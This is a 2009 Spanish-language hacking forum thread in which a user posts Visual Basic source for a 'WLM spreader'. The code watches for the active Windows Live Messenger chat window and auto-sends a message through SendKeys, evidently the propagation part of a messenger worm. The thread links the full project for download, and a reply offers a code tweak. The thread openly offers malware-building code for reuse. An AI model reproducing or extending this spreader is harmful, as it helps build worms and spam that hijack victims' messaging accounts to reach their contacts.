Título: Simple 'WLM' Spreader
Publicado por: illuminat3d en 18 Noviembre 2009, 17:07 pm
Bueno ShadeHack me pidió un propagador de msn e hice este muy sencillo =) Se puede poner otra verificación del caracter '<' Requerido 1 timer. Private Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetForegroundWindow Lib "User32" () As Long Dim lRet As Long, nWindow As String, Capt As String, Dat() As String Private Sub TM_Timer() lRet = GetForegroundWindow() ' Obtenemos el handle de la ventana activa Capt = Space$(1024) ' Creamos un buffer para el titulo de la ventana nWindow = GetWindowText(lRet, Capt, Len(Capt)) ' Obtenemos la cantidad de carácteres Capt = Left$(Capt, nWindow) ' Obtenemos el nombre de la ventana If Capt <> "" Then ' Verificamos que en la variable Capt haya datos Dat() = Split(Capt, "@") ' Hacemos un split para hacer una 1 verificación If UBound(Dat) > 0 Then ' Verificamos si dentro de la matriz Dat() hay datos If InStr(1, Dat(1), ">") Then SendKeys ("Hola soy tu menstruación!" & "{ENTER}") ' Hacemos una 2 verificación para saber si es una ventana de Windows Live Messenger y mandamos el mensaje End If End Sub
Descargar proyecto WLM Spread (http://www.4shared.com/file/154706338/60ef94e8/mSpread.html) Saludos! ;D
Título: Re: Simple 'WLM' Spreader
Publicado por: Karcrack en 18 Noviembre 2009, 17:51 pm
Muy simple, pero util para los que empiecen con APIs :P
Solo una cosa, esta instruccion 'InStr(1, Capt, "@")' no seria necesaria, ya que si haces un Split y no hay ningun '@' el codigo no seguira ;D
Título: Re: Simple 'WLM' Spreader
Publicado por: illuminat3d en 18 Noviembre 2009, 18:05 pm
Muy simple, pero util para los que empiecen con APIs :P
Solo una cosa, esta instruccion 'InStr(1, Capt, "@")' no seria necesaria, ya que si haces un Split y no hay ningun '@' el codigo no seguira ;D
Uyy que bobo, cierto se me fue la hoya. :huh::silbar:
|